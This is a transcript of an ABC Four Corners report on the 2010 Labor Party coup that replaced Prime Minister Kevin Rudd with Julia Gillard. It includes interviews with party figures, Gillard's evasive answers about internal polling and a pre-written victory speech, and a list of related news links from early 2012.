(Speaking to Kevin Rudd) Your ratings are extraordinarily high. You've... you know, if it's a popular vote you'd be you would be Prime Minister tomorrow again.
KEVIN RUDD, FORMER PRIME MINISTER: I think what the Labor Party's got to do is actually embrace this community. These people are decent folk. We just keep running into them, they're from all over the place...
ANDREW FOWLER: Rudd wasn't giving anything away. Earlier in the day, he had been at the ALP National Conference where MPs and delegates had been wrestling with the party's dire standing in the community. Many of the delegates were only too aware that the toppling of Rudd might have been a terrible mistake.
JOE DE BRUYN, SHOP, DISTRIBUTIVE & ALLIED EMPLOYEES UNION: There was no fundamental reason why he could not have gone on to win the election.
ANDREW FOWLER: This was never going to be an easy conference for Labor, with Rudd sitting in the front row - surrounded by the men who toppled him. They now accuse Rudd of sucking the oxygen out of Gillard's Prime Ministership - and playing a spoiler's role.
CON SCIACCA: In my view, as a life member of the Labor Party, the best thing for the Labor Party would've been if, when he got beat, is that he just retired gracefully like other Prime Ministers have.
ANDREW FOWLER: But Gillard, too, was playing a devious game, delivering a frontal assault on Rudd's legacy.
JULIA GILLARD (at ALP National Conference): The responsibilities of Government are the responsibilities of hard choice. Curtin knew that when he raised conscripts for military service overseas. Chifley knew that in the industrial winter of 1949. Whitlam knew it when he ended the bitter debate over state aid. Hawke and Keating knew it every day they governed. And we know it now.
ANDREW FOWLER: There are those who said that you should have shown more grace in dealing with the legacy of Kevin Rudd when you spoke at the ALP National Conference in Sydney last December. What's your response to that?
JULIA GILLARD: I have spoken on a number of occasions as Prime Minister about the great things that Kevin Rudd did when he held the office of Prime Minister. I'm not interested in this, you know, media cycle, and some of the kind of psychoanalysis that goes on along with it. You know, as Prime Minister, I get things done.
ANDREW FOWLER: With Rudd airbrushed from the list of Labor Prime Ministers, it was like watching a stage-managed Soviet rally - where the most fearful party members were expected to clap the hardest. Rudd also barely got a mention in the video history of Labor's achievements, though he'd steered Australia through the global financial crisis and brought the party back from Opposition after 11 years.
GRAHAM RICHARDSON, FORMER LABOR POWERBROKER: Well it's probably not smart. You should always show grace under pressure. Just named him as one of our Prime Ministers of whom we're very proud - something like that - would have been fine.
ANDREW FOWLER: The importance of remaining gracious under fire isn't lost on Rudd. Here, in the heart of his electorate, the former Prime Minister might look as though he's having an easy time. But he's here to deal with his critics in the Party face-to-face - and one in particular. Labor historian, Troy Bramston was, for a time, Rudd's speechwriter. His book, Looking for the Light on the Hill, is a warts-and-all critique.
TROY BRAMSTON (speaking at book launch): Many don't know what the Labor Party stands for, who it represents, what it wants to achieve or why, and internally, I think, the party at most levels is hollow at its core.
ANDREW FOWLER: Bramston didn't hold back on his old boss.
TROY BRAMSTON: Now, of course, being on his staff - as some of his staff here will know - was a maddening, crazy, sleep-deprived, stressful experience.
ANDREW FOWLER: It was unusual therapy for a deposed Labor leader, but he seemed keen to take a public flogging - even agreeing to launch the book.
KEVIN RUDD: So why would I come to launch a book like this? The reason for that is simple: I have never believed that the Government that I led was somehow infallible. That is palpable nonsense.
ANDREW FOWLER: It wasn't just a question of fallibility where Rudd would be brought to account. There was also the question of his management style.
TROY BRAMSTON: It was often a case of this crazy craziness that, you know, it really it concerned me that Rudd wasn't able to be managed by anyone, and there seemed to be this chaos around him all the time.
ANDREW FOWLER: Rudd took it on the chin - and kept smiling. He was trying to silence his critics, who said he had a glass jaw.
CON SCIACCA: I think the decision to change him at the time was the correct one - not perhaps for Kevin, because he's still smarting from it - but I think it was the right thing for the party. And in the end, leaders come and go.
ANDREW FOWLER: Just four years ago it was all so different: Rudd hailed as the new Labor Messiah swept all before him. John Howard was not only kicked out of office, he'd lost his seat too.
KEVIN RUDD (speaking on 24 November 2007): A short time ago, Mr Howard called me to offer his congratulations. I thanked him for that and the dignity with which he extended those congratulations. We should celebrate and honour the way in which we conduct this great Australian democracy of ours, and it's been on display again tonight.
ANDREW FOWLER: Labor promised to end WorkChoices, troops out of Iraq, a better health system, and what it called an "education revolution". Rudd was in a rush. Quickly he signed the Kyoto Protocol and apologised to the Stolen Generations. Troy Bramston witnessed, from the inside, the first moments of the Rudd Prime Ministership.
TROY BRAMSTON: There was no doubt that he was a person of immense vision and capacity and intelligence, and he really wanted to make a difference. This wasn't just some kind of Machiavellian politician who was there for whatever they could get out of it personally. Kevin Rudd is a reformer and the problem was he tried to do too much too soon. In many ways he's kind of like Whi... he's kind of Whitlam-esque, in that he has a broad vision, a great intelligence, a strong work ethic and a determination - but in doing all that, it was chaotic. The Government was was chaotic, and that was I think a major problem for him.
ANDREW FOWLER: In September 2008, barely 10 months into the new Government's term of office, Lehman Brothers, the fourth largest investment bank in the US, collapsed, with debts of hundreds of billions of dollars. Lehmann was the first domino to fall in the global financial crisis. To avoid the feared economic collapse spreading to Australia, the Government took dramatic action - an economic stimulus package worth $52 billion was announced.
TROY BRAMSTON: There's no doubt that what Rudd and Wayne Swan and the cabinet had been able to do was respond very effectively to the global financial crisis, and the Government's response has been lauded around the world. Now, the problem was because they were so successful, nobody felt the economic pain here in Australia, so there was no political dividend for all of that.
BRETT RAGUSE, FORMER FEDERAL MEMBER FOR FORDE, QLD: I do remember even a developer locally saying to me - we were six, seven, eight months into the GFC - and him saying to me, "Brett, what recession?" You know is there, "What GFC? You know, we are okay, you know, and obviously everyone should stop talking about it."
ANDREW FOWLER: It was necessary to get the money out fast. Rudd had tailor-made a streamlined cabinet to do the job: the so-called Gang of Four. Rudd, his deputy Julia Gillard; Treasurer Wayne Swann and Finance Minister Lindsay Tanner. But centralising power played to one of Rudd's great weaknesses: his desire for total control.
TROY BRAMSTON: He was a micromanager. He was obsessed with the media, and, you know, he was all over the shop in terms of, you know, the way he ran his Government and the it ran. I certainly had the impression that Kevin was the best speech writer in the office, the best policy advisor, the best media advisor, the best organisational person, the best chief of staff. Kevin, I think, felt that he could do those jobs better than anybody else.
ANDREW FOWLER: Did anybody ever challenge him about that?
TROY BRAMSTON: No. Very rarely. I think if anybody ever spoke out against him, or questioned a decision he'd made or a thought that he had, you were soon put in deep freeze. He had what I think Jimmy Carter once had - a flash of blue steel through his eyes, you know, at the person - and you knew that you'd made a mistake. So there really wasn't an opportunity for free-flowing discussion.
ANDREW FOWLER: If Rudd had been more consultative he might not have completely staked his credibility on dealing with global warming.
KEVIN RUDD (speaking on 31 March 2007): Climate change is the great moral challenge of our generation.
ANDREW FOWLER: It became Rudd's battle cry as world leaders headed to Copenhagen for the summit to reduce greenhouse gas emissions.
KEVIN RUDD (speaking in Copenhagen in December 2009): That is why history is calling us, at this great conference, to frame a grand bargain on climate change.
ANDREW FOWLER: When the summit collapsed in disagreement, Rudd was badly exposed.
BRUCE HAWKER, ALP CAMPAIGN ADVISER: Well, in the lead up to Copenhagen, you know arguably there could have been more of a cautionary note expressed about what might happen if the big countries didn't come to an agreement over Copen... over global warming.
GRAHAM RICHARDSON: When Copenhagen didn't go the way he wanted, I think he thought he was going to go to the Chinese - 'cause he speaks Mandarin - and say, "You have to do this," and they were going to say, "Oh yes, Kevin". Well, when they said no... they didn't even say no, they sent a minion to say no - a very low-ranking minion - he couldn't see the the chiefs. I think he came back in a sort of funk, and he sulked for a long time - and I think that made him even more isolated, because he was just sitting in his office sucking his thumb.
ANDREW FOWLER: After Copenhagen came a series of political disasters: the decision to dump the Emissions Trading Scheme, the pink batts insulation affair and the Building the Education Revolution. The Government was losing popular support. What the ALP needed was a political circuit-breaker. What they got was a time bomb.
On May 2nd 2010, the Government announced a new way of taxing mining profits. There was an added bonus: the budget bottom line would increase by $9 billion - and Australia would be in surplus ahead of other comparable economies.
WAYNE SWAN, TREASURER (at Henry Report release, 2 May 2010): We will now tax mining profits in a way that supports the growth of the industry and the economy, and ensures the community gets a fair return.
ANDREW FOWLER: The mining industry, led by BHP Billiton, Rio Tinto and Xstrata, knew they'd have to pay more. They'd been given the heads-up that changes were about to be announced, but they had been led to believe that the figures would be negotiable. Not so. The miners were furious.
TOM ALBANESE, RIO TINTO CHIEF EXECUTIVE (at press conference, 7 June 2010): Look I think this is bad tax policy. We stand ready to engage and we want... we would have liked to have engaged before anything was announced - certainly before it was put in the Budget.
ANDREW FOWLER: In the 41-storey tower block that houses BHP Billiton's headquarters in Melbourne, the company established a war room, with a team of hired guns: pollsters and strategists. They planned a multi-million dollar advertising campaign against the Government's mining tax. Other companies too weighed in with their own campaigns.
MINERALS COUNCIL ADVERTISEMENT: The Australian mining industry expects to pay its fair share of tax. But how much is fair and globally competitive? In Canada it's 23 per cent, Russia 30 per cent and South Africa 33 per cent. What will the proposed super tax mean Australian miners pay? 58 per cent - by far the world's highest tax on mining.
MINING INDUSTRY ADVERTISEMENT: Weaken mining, you weaken the country. But that's exactly what the Government's new super tax is doing.
ANDREW FOWLER: For nearly a month, the mining industry ads dominated the airwaves. When the Government response came, it was a fizzer.
FEDERAL GOVERNMENT ADVERTISEMENT: I think everyone agrees that mining plays a key role in Australia's economic prosperity. I think we can also agree that we need to improve the way that mining is taxed, and that those changes need to protect the industry's long-term sustainability - moving away from royalties to a system that attacks the actual profits that mining companies make will do just that. So it's important to know the facts, and here's where to find them...
ANDREW FOWLER: Under pressure, Kevin Rudd drafted in one of the ALP's most experienced political strategists, Bruce Hawker. His primary roles were to improve communications, get better cut-through in the media, and calm nerves over the mining tax.
BRUCE HAWKER: Australians tend to get concerned when they see big and powerful interests making that sort of noise. They worry that maybe there is going to be an exodus of the capital or something like that. Obviously that was never going to happen, but you know it was fed by elements in the media, and by interested parties - including the Opposition - to give the impression that the Government was destabilised and wasn't able to meet the challenges of the day.
ANDREW FOWLER: Back at the war room, BHP Billiton sharpened its strategies, polling the impact of its advertising campaign on the electorate. Four Corners understands that some of this research was seen by senior Labor figures. It was information that would be vital to the interests of the Prime Minister, but they didn't show it to him. Not only was Rudd losing popular support, he had lost support from the powerful factions.
CON SCIACCA: There is no love for Kevin Rudd in the Labor Party, certainly not within the unions - there might be the odd one, I don't know, I'd like to see it.
BRUCE HAWKER: The thing about Kevin Rudd, though, is that he's not a creature of the factions, and I think that made certain people who were faction leaders uneasy about his Prime Ministership.
ANDREW FOWLER: Bruce Hawker was frantically working to stop support in the party leeching away from the Prime Minister.
BRUCE HAWKER: My job, yeah, you know, was to try to you know present a little bit of stability, hopefully in the operation to look at some other ways of doing things - and also, as it turned out unsuccessfully, to build in a closer working relationship between, you know, the National Secretary and the Labor Party generally into the Prime Minister's office.
ANDREW FOWLER: As Hawker was trying to broker a peace deal, others were preparing for war. Parliamentary Secretary Bill Shorten and South Australian Senator Don Farrell were already in the anti-Rudd camp. But first, the two major right-wing factional bosses had to settle an internal conflict. Senators David Feeney from Victoria and Mark Arbib from NSW, needed to mend their relationship. Graham Richardson, the NSW right's former numbers man acted as the go-between. Four Corners has been told that Richardson had at least two weeks prior knowledge of the intention to mount the coup against Rudd.
GRAHAM RICHARDSON: I don't think I knew two weeks before. Um... I can't remember now, but a week or so probably - but not two weeks.
ANDREW FOWLER: For a right-wing powerbroker who helped bring down two Prime Ministers, Richardson is surprisingly coy about his role in the Rudd coup.
GRAHAM RICHARDSON: I'm not going to be painted as the architect as the Rudd demise, 'cause I wasn't. I had a very small role.
ANDREW FOWLER: But you did play a role - Graham Richardson playing a very small role in a very big event, right?
GRAHAM RICHARDSON: Yeah, very small role. Very small.
ANDREW FOWLER: But you did bring them together and they did join together, join forces and and remove Kevin Rudd.
GRAHAM RICHARDSON: Yeah, I did,
ANDREW FOWLER: The plotters were moving to the final stage. They commissioned their own polling report. Significantly, they kept it secret from the Prime Minister. The reason for the secrecy is now clear. The report compared the popularity of Julia Gillard versus Kevin Rudd. And the plotters used it to persuade - even pressure - the final waverers in the ALP caucus that they couldn't win with Kevin Rudd.
Four Corners has obtained a copy of the secret internal report. It tracked polling on the comparative popularity of the Prime Minister and his Deputy. We have been told it was distributed just to a few select senior ALP officials. The report included negative focus group comments on Rudd, and critically showed Gillard's popularity to be now higher than the Prime Minister's. One Labor insider told us it was "a gross manipulation" and "an important ploy", designed to boost the campaign to install Gillard as Prime Minister.
(To Julia Gillard) We've been told that internal Labor Party polling in the week before Rudd was removed, that polling was done comparing you with Kevin Rudd.
JULIA GILLARD: Well, as uh...
ANDREW FOWLER: Did you see that polling?
JULIA GILLARD: Look as Deputy Prime Minister and before that as Deputy Opposition Leader, of course I saw ALP polling. Saw it consistently, saw it over time, saw it...
ANDREW FOWLER: Did you specifically see polling in the week before Rudd's removal, which compared your popularity with his?
JULIA GILLARD: Look, I've seen party polling over a long...
ANDREW FOWLER: But did you specifically see, did you specifically see the polling...
JULIA GILLARD: ...I'm answering… I'm answering your question. I can't summon to mind details of polling that I may have seen at that time. I've seen party polling as, you know, Opposition, Deputy Opposition Leader and as Deputy Prime Minister, but the reason you would be answering... asking me that question, is you obviously are thinking, what role did any such polling play? And I want to be very...
ANDREW FOWLER: I'm merely asking you... I'm merely asking you, in the lead-up to the biggest decision of your life, I would suggest, that you were shown or not shown party polling which compared your popularity with Kevin Rudd's?
JULIA GILLARD: And my answer is this: I've seen party polling over a long period of time. I don't have specific recall of pages of party polling at that time. It may have included what you say. I don't have specific recall of it.
ANDREW FOWLER: Similar polls were used to win the support of MPs in marginal seats. Janelle Saffin was warned she had to abandon Rudd for Labor to survive.
JANELLE SAFFIN, FEDERAL MEMBER FOR PAGE, NSW: There were people saying it would be hard for us to win an election with the Prime Minister; and I, you know, I've been around for a while - a long term member of the Labor Party - and I thought no, we just get out there and win elections. They're all hard to win.
ANDREW FOWLER: Who specifically said to you that it would be difficult for Kevin Rudd to win the election?
JANELLE SAFFIN: Oh there were a few people who said that - people that I don't want to name, but people who said that it would be hard to do that.
ANDREW FOWLER: Janelle Saffin was confident she wasn't in trouble. She dismissed what she saw as a fear campaign.
In Washington the US State Department was taking great interest in the political machinations in Australia. For at least a year, they had been receiving information on internal politics of the ALP from a number of the coup plotters. US Embassy Cables revealed by WikiLeaks quoted one of the plotters telling an embassy officer that Gillard was "campaigning for the leadership". Now the Americans got word that a covert plot to topple the PM was gathering momentum. They called in the Australian Ambassador.
Four Corners has learned that about two weeks before the eventual coup, Ambassador Kim Beazley was driven the few blocks to the State Department for a meeting with US Secretary of State Hilary Clinton. Four Corners has been told that Clinton wanted to know what was happening in Australia, and sought assurances that the relationship between the two nations would not change under a new leadership. What Beazley knew or told his US hosts is not known, but it seems they were better informed than most Government MPs, who were unaware that Rudd's enemies were circling for the kill.
Back in Australia, Julia Gillard had been denying she was interested in taking over the Prime Minister's job. On Friday June 18th, she repeated the mantra.
KARL STEFANOVIC, TODAY SHOW (June 18, 2010): Will you stand up and take the leadership if there is considered no alternative?
JULIA GILLARD: Oh look, Karl we've talked about this before, and I've answered it before.
KARL STEFANOVIC: Have you been canvassed - because we know that there's some Labor people behind the scenes are pushing that. We know that it's coming from somewhere. Have you yourself been canvassed as to whether or not you'd been up to taking the leadership?
JULIA GILLARD: We had the conversation last time I was on the show, and the answer was no then.
KARL STEFANOVIC: And since then? That was two weeks ago. Things move pretty quickly with politics.
JULIA GILLARD: It was no then, and it's no now.
ANDREW FOWLER: On Wednesday June 23rd, when Labor MPs turned up for Parliament, most were unaware a coup was imminent.
BRUCE HAWKER: The day of the 23rd of June opened with newspaper reports that the Prime Minister's Chief of Staff was sounding out support amongst key members of the Government. It's something which basically was not the case, but it became a point of great tension.
ANDREW FOWLER: Later that morning, Rudd and Gillard met. Gillard was angry that the newspaper report suggested she had not been loyal to Rudd. Hawker made one final attempt to arrange meetings with the right-wing factional leadership.
BRUCE HAWKER: I'd been privately counselling people early on in the afternoon to say, "Look let's just, you know, have a conversation with the Prime Minister, and not go public about all this." You know, make it clear that this is a huge issue, but don't go to the point of making it public, that there's going to be a change of leader. Once it's public, it's very hard for anything to change. You can't turn those things back. Once it's public you can't turn things back. It's all over. They could have stopped short of aleadership challenge at about four or five o'clock, in the afternoon and I counselled people on the right to do that, to hold back.
ANDREW FOWLER: Who did you speak to?
BRUCE HAWKER: Oh, to a number of people inside the right...
ANDREW FOWLER: Who, who were they?
BRUCE HAWKER: Well I spoke to Karl Bitar about that, and suggested that now was the time to back off. Just go and have a conversation with the Prime Minister if they felt that strongly things, but not to make it a public exercise.
ANDREW FOWLER: Those involved in the plot went for maximum damage. The story leaked out on the ABC seven o'clock News.
JUANITA PHILLIPS, NEWS PRESENTER (ABC News, 23/06/10): In breaking news tonight, there are leadership rumblings within the Rudd Government. The ABC has learned that senior ministers and factional powerbrokers are in talks and counting numbers for a potential move against Kevin Rudd.
BRUCE HAWKER: Well the news bulletin itself was just like electricity running through the Parliament. Ah the place just became alive with, you know, excitement and tension.
ALAN GRIFFIN, FEDERAL MEMBER FOR BRUCE, QLD: Well, I'd just gone down to the staff cafeteria to get some noodles at about 10 to seven. I came back up about 10 past seven. I had five phone calls I'd missed on my phone, and I noticed there was a tickertape going along on Sky News suggesting that there were some crisis meetings occurring in the Prime Minister's office.
ANDREW FOWLER: At 7.20 p.m. Gillard walked around to Kevin Rudd's office. Accompanying her was Senator John Faulkner, Labor's widely respected elder statesman, who would act as an honest broker in discussions.
BRUCE HAWKER: Look, I can't say that there was a deal. All I can say, on the basis of what I'm aware of, is that the Prime Minister put a proposal to Julia Gillard that they hold off until October. She went out and had a conversation, I think with Mark Arbib, about that.
ANDREW FOWLER: While the meeting was taking place, the plotters worked the phones, building the numbers against Rudd. ALP Executive member Joe de Bruyn discovered he was out of step with his right-wing factional mates.
JOE DE BRUYN: I rang six people, and five of them told me, in no uncertain terms, that there was no way they were going to vote for Kevin Rudd. I was very surprised by that. I had no chance at all of influencing their views. They had made up their mind, so I realised that Kevin Rudd had lost substantial support in the parliamentary party.
CON SCIACCA: I must admit to making a number of phone calls - and during the course of those phone calls I received one from a very close personal friend of mine who's no longer in the Parliament, who called me and he said, "Con, Con, have you heard what's happened? You've gotta help, you've gotta help." I said, "Mate, I'm sorry," I said, "I can't help you." I said, "I'm on your other side, I'm on the other side". I said, "I'm trying to make sure that they do knock him off tomorrow".
ANDREW FOWLER: Con Sciacca - an influential former Labor Minister from Queensland - points to how dirty the war against Rudd became as the plotters played the media game to unseat him.
(To Con Sciacca) So, there was no meeting.
CON SCIACCA: No, there would've been meetings on the phone, would've been conference calls, but there was certainly... if there was a meeting, I wasn't invited to it.
ANDREW FOWLER: So what do you make of the crawl that went along the bottom of the Sky...
CON SCIACCA: Well they probably just simply spoke to a few people from Queensland, and they said the Queenslanders aren't voting for Kevin Rudd. That'd be all Sky would need to put that underneath.
ANDREW FOWLER: And that would help tip the numbers in the rest of the country against Rudd?
CON SCIACCA: Probably, yeah. Yeah.
ANDREW FOWLER: So, smart strategy?
CON SCIACCA: Well it was smart the way it turned out. It sort of certainly blindsided him.
ANDREW FOWLER: When Julia Gillard walked back into the meeting after speaking with one of the plotters, she had bad news for Rudd about any understanding to hold off a challenge until October, when the polls might have improved.
BRUCE HAWKER: She came back into the room and said that, as a result of that conversation, she couldn't agree to the Prime Minister's request.
ANDREW FOWLER: By the following morning, Rudd conceded he didn't have the numbers to remain Prime Minister.
KEVIN RUDD (24 June 2010): We have thrown our absolute all at this, and I believe when we look back at this, these reforms will endure into the future and make Australia, I believe, a fairer and better place...
BRUCE HAWKER: I was in the the front vestibule of the Parliament House, and members of the public were just standing there watching his speech on a monitor, and people were crying - and at that point I thought, "This is not a good sign for the Government - if there's that public demonstration of grief, as it were, over the removal of a Prime Minister, then we're in for some tough times ahead".
ANDREW FOWLER: Later that day, Julia Gillard made her first speech as leader. It was full of praise for Rudd and his achievements.
JULIA GILLARD (24 June 2010): Can I say, Australians one and all, it's with the greatest, humility, resolve and enthusiasm that I sought the endorsement of my colleagues to be the Labor leader and to be the Prime Minister of this country. And I particularly give credit to Kevin Rudd for leading the nation in such difficult times, and keeping people in work...
ANDREW FOWLER: But one thing rang hollow - for all her protestations that she had been dragged into the leadership battle at the last moment, the truth appears to be different. Four Corners has confirmed that senior staff in Julia Gillard's parliamentary office had started writing the leadership speech at least two weeks earlier.
(To Julia Gillard) Are you aware that two weeks before Rudd was removed from office, that a speech was being prepared in your office that you would subsequently deliver when you were Prime Minister?
JULIA GILLARD: Look, I am not surprised that... whether it's people in my office or people more broadly in the Government or the Labor Party were casting in their mind where, circumstances might get to, of course. Political people look at political circumstances, and they think about where they might go to.
ANDREW FOWLER: With respect, you haven't answered the question, and the question was: did you know that people in your office, two weeks before Kevin Rudd was removed as Prime Minister, were preparing a speech that you subsequently delivered?
JULIA GILLARD: Look, I've given you... I've given you the best answer I can - which is, I'm not surprised that there were people, you know, around government, who were c... you know, in their own mind...
ANDREW FOWLER: But did you know?
JULIA GILLARD: Uh well, I did not ask for a speech to be prepared.
ANDREW FOWLER: But were you aware that one was being prepared?
JULIA GILLARD: Look, I've just given the best answer I can to your question.
ANDREW FOWLER: My question was simply whether or not you knew...
JULIA GILLARD: I heard your question and I've answered it.
ANDREW FOWLER: You haven't answered the question.
JULIA GILLARD: Well, I've given you the answer I'm going to give you.
ANDREW FOWLER: Those who persuaded Gillard to run felt vindicated by early polls showing an increase in the party's support. But the honeymoon was short-lived. Two months later, the election in August saw Labor struggling to form Government.
As the Government drifted, Rudd began what can only be described as a political campaign to distance himself on crucial issues from the PM. Taken separately they might appear to be minor, but together they could be seen as part of a strategy to position himself in a run for his old job. He took a public stand against the Government's handling of the WikiLeaks issue, supported the need for a no-fly zone over Libya during the Arab Spring, and wanted Australia to remain neutral on whether the Palestinians should have a voice at the UN.
ANDREW FOWLER: Since you've been Prime Minister, Kevin Rudd has contradicted Government - that's your policy in a number of areas. How much damage does that cause, do you believe?
JULIA GILLARD: Well, with respect, the way in which Government works is you have cabinet discussions. You, of course, have bilateral discussions with your ministers too; direct discussions. I don't expect everybody to walk into the cabinet room - or indeed into my office - saying the same things about everything. What I expect is people to put forward the best of their views, then we discuss them internally and we make a decision. That's how this Government works, and I would say that's how every Government has worked in Australia's history
ANDREW FOWLER: With the most influential opinion poll, NewsPoll showing the Coalition ahead 54 to 46 on two-party preferred, and a primary vote flatlining at 30 percent, those who brought Rudd down, it seems are having second thoughts.
JOE DE BRUYN: Reading between the lines in talking to them, I do think that some of them have had concerns about changing the leader in midstream.
ANDREW FOWLER: This time it may well be the caucus - fearful and angry that the removal of Rudd by the factional leaders was such a disaster - which might take the power into its own hands, and crown him the second time around. But understandably they are cautious.
TROY BRAMSTON: There are those who are very pro-Gillard. There are those who are pro-Gillard but think that she can't win the next election. There are those who are pro-Rudd, and there are those who are pro-Rudd, but think there's no way they could go back to him,
ANDREW FOWLER: Crucially, if Rudd is to return to the top job, he will have to persuade those doubters that he has learned lessons - and changed.
JANELLE SAFFIN: I think all leaders grow into the job. You get elected a Prime Minister, and that... you know, you don't wake up the next morning and be a fully experienced, fully-fledged Prime Minister. Everyone has to grow into that job and work out those relationships; and to the extent that if there's any lessons to be learned, it's clear that he's learned some lessons in a very hard way.
ANDREW FOWLER: Con Sciacca, for one, doubts that Rudd has changed at all.
CON SCIACCA: What happened to the bloke was is that somewhere there there was a charming, intellectual, smart man that, you known that knew how to keep friends, that knew how to treat people. And somewhere along the line - I think when the the burdens of office got to him - and he has that problem that he tends to burn too many bridges. With Kevin, he wants you to be extraordinarily loyal to him, but he does not repay the loyalty.
BRUCE HAWKER: I think, like any old soldier who's lost a leg, he's still got an itch there - and I think you see that with a lot of former Prime Ministers.
ANDREW FOWLER: But what of Rudd himself? You know him very well.
BRUCE HAWKER: Yes, that's a matter for him to discuss, I think, and, you know, he's made it pretty clear, to date, that he's content to be the Foreign Minister. Time will tell how things go in the coming months.
ANDREW FOWLER: Nearly three months after we bailed him up in a bar, Kevin Rudd is still playing the waiting game.
(To Kevin Rudd) Hi there, Andrew Fowler, Four Corners, Mr Rudd. Some of the factional leaders we've spoken to say they made a mistake when they rolled you, and they want you back.
KEVIN RUDD: Well, that's a - it's a matter for history.
ANDREW FOWLER: What's your response to that? I mean, you're happy being Foreign Minister. Would you be happier being Prime Minister?
KEVIN RUDD: You know I'm a very, very happy little Vegemite.
THERESE REIN, WIFE OF KEVIN RUDD: Content.
KEVIN RUDD: And a content Vegemite, being Foreign Minister of Australia.
ANDREW FOWLER: And so the ruthless game goes on, with Rudd and the leader who deposed him embraced in a political dance to the death. The opinion polls will decide what happens next. A dramatic move up or down will determine whether Labor stays on its present course, or decides in to go back to the future.
(End transcript)
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LATEST NEWS AND OPINION
Video: Gillard defends interview | ABC News | 14 Feb 2012 - Julia Gillard has defended her decision to do an interview with Four Corners which revealed that her office prepared a victory speech two weeks before she overthrew Kevin Rudd for the leadership.
Gillard sidesteps victory speech questions | ABC News | 14 Feb 2012 - Prime Minister Julia Gillard has admitted she may have known that senior staff in her office were preparing a victory speech before the day of the 2010 leadership coup which ousted Kevin Rudd.
Opinion: Rudd should go: ex-Labor minister | SMH | 13 Feb 2012 - Formers Labor minister Con Sciacca says Kevin Rudd should get of out Parliament because he can't be a team player. By Michelle Grattan.
Opinion: Crossbenchers shed independence over leadership | The Australian | 11 Feb 2012 - Monday's Nielsen poll gave Julia Gillard an unexpected lift. According to Nielsen, Labor's primary vote rose from 29 points to 33 and Gillard's approval rose from 35 points to 40. This is still a woeful result but it has put on hold for the time being Kevin Rudd's challenge for the leadership. By Christopher Pearson.
Julia Gillard reflects on Australian economy and year ahead | 7.30 | 9 Feb 2012 - At the end of Federal Parliament's first sitting week of the year, Prime Minister Julia Gillard joins us to discuss the economy and take a look at the year ahead. With Chris Uhlmann.
Opinion: Warning to Rudd over leadership | SMH | 7 Feb 2012 - Key independent Tony Windsor has fired a warning shot across Kevin Rudd's bows, saying there would and probably should be a quick election if Labor changes leaders. By Michelle Grattan.
Gillard tells MPs to show more discipline | ABC News | 6 Feb 2012 - The Prime Minister has called on Labor MPs to show more internal discipline this year, as speculation about her leadership and a possible challenge from Kevin Rudd continue to stalk the party.
Labor given new hope by latest poll | Lateline | 6 Feb 2012 - Labor has been given hopes of a turnaround and victory in the next election after a new poll reported increased support for Julia Gillard.
Gillard tells MPs to show more discipline | ABC News | 6 Feb 2012 - The Prime Minister has called on Labor MPs to show more internal discipline this year, as speculation about her leadership and a possible challenge from Kevin Rudd continue to stalk the party.
Opinion: Time for Kev to 'put up or shut up' | The Australian | 6 Feb 2012 - As Labor MPs returned to Canberra yesterday for a "planning session" and a barbecue at The Lodge, Kevin Rudd's supporters reacted strongly to suggestions a successful leadership challenge by the Foreign Minister would lead to resignations of Labor MPs. An article by Troy Bramston.
The Labor story will end badly | The Age | 6 Feb 2012 - Today's Age/Nielsen poll shows the highest primary vote for Labor since March 2011, and the best two-party preferred vote since November 2010. It shows a five-point improvement in Julia Gillard's personal approval rating since December. She has again nosed ahead of Tony Abbott as preferred prime minister.
Downer: Gillard in a Ruddy great mess | The Advertiser | 5 Feb 2012 - Julia Gillard is struggling - but Alexander Downer can't believe Labor seems ready to knife another leader. By Alexander Downer.
Opinion: Rivals shaping up for a one-strike battle | The Australian | 4 Feb 2012 - Labor MPs supporting Julia Gillard and Kevin Rudd agree there has been a shift in support to Rudd, but neither side is actively organising the numbers for a challenge yet, while MPs remain divided and a leadership contest next week is unlikely. By Troy Bramston.
Pie crust politics: promises made, promises broken | ABC The Drum | 3 Feb 2012 - Political promises are having a bad season. If they were a currency, they'd be trading at several hundred to the Aussie dollar right now, and flagging fast. By Annabel Crabb.
Increasing speculation over PM's future | ABC News | 3 Feb 2012 - The Prime Minister, the man she ousted from the job, and senior Labor ministers have publicly laughed off or dismissed suggestions of a leadership coup, but there is no escaping speculation that Julia Gillard's prospects in the job are terminal.
BACKGROUND READING
ABC told PM about 'ambush' question | The Australian | 16 Feb 2012 - ABC TV's Four Corners program specifically told Julia Gillard it would interview her about the Labor leadership despite the Prime Minister's declaration the program had sought an interview on "the government's progress since 2007".
Rudd wasn't a team player, will never be leader again: Crean | SMH | 31 Jan 2012 - Senior Labor minister Simon Crean insists former prime minister Kevin Rudd is not the solution to the government's poor opinion poll results, saying the ousted leader lost his position because he was not a "team player".
Blog: The Second Rudd Government? | The Monthly | 23 Jan 2012 - For better or for worse, unlike most commentators, my judgments about Australian politics are generally formed not by conversations with Canberra insiders but almost solely by reading history books, listening to radio, watching current affairs television and following the newspapers. As it happens, opinion polls are among my most valuable sources of information. They provide, for example, the only reliable evidence about the question I want to discuss in this blog: the relative popularity of our two most recent Prime Ministers - Kevin Rudd and Julia Gillard. By Robert Manne.
ALP post-mortem damns Rudd | SMH | 5 Dec 2011 - A secret Labor Party report has criticised the government led by Kevin Rudd as lacking purpose and being driven by spin and implies that the former prime minister or his supporters were behind the leaks that almost destroyed Julia Gillard's election campaign.
Rudd allegedly snubbed at ALP conference | ABC News | 5 Dec 2011 - Mr Rudd's supporters are reportedly upset that Prime Minister Julia Gillard did not specifically mention his time as leader during her opening address at the conference. That has prompted a report that some of his backers want him to challenge for the leadership next year.
Prime Minister Gillard's Speech to ALP National Conference | ALP | 2 Dec 2011 - Read a transcript of the Prime Minister's speech at the ALP National Conference, December 2011.
Foreign Minister Kevin Rudd's Speech to ALP National Conference | ALP | 2 Dec 2011 - Read a transcript of the Kevin Rudd's speech at the ALP National Conference, December 2011.
Gillard takes top job in bloodless coup | ABC News | 24 Jun 2010 - In a spectacular day in Australian politics Julia Gillard ousted Kevin Rudd to become the first female Prime Minister.
We need to talk about Kevin ... Rudd, that is | SMH | 7 Jun 2010 - Moody, foul-mouthed, a slave-driving devil for detail - can this be the same Kevin Rudd who swept to power on a tsunami of public affection not three years ago? David Marr takes an in-depth look at Kevin Rudd.
Rudd in ETS backflip | The Age | 28 Apr 2010 - Kevin Rudd has dramatically shifted his position on climate change, declaring Australia will decide the future of its proposed emissions trading scheme when it sees what other countries do. By Michelle Grattan and Tom Arup.
WATCH RELATED FOUR CORNERS PROGRAMS
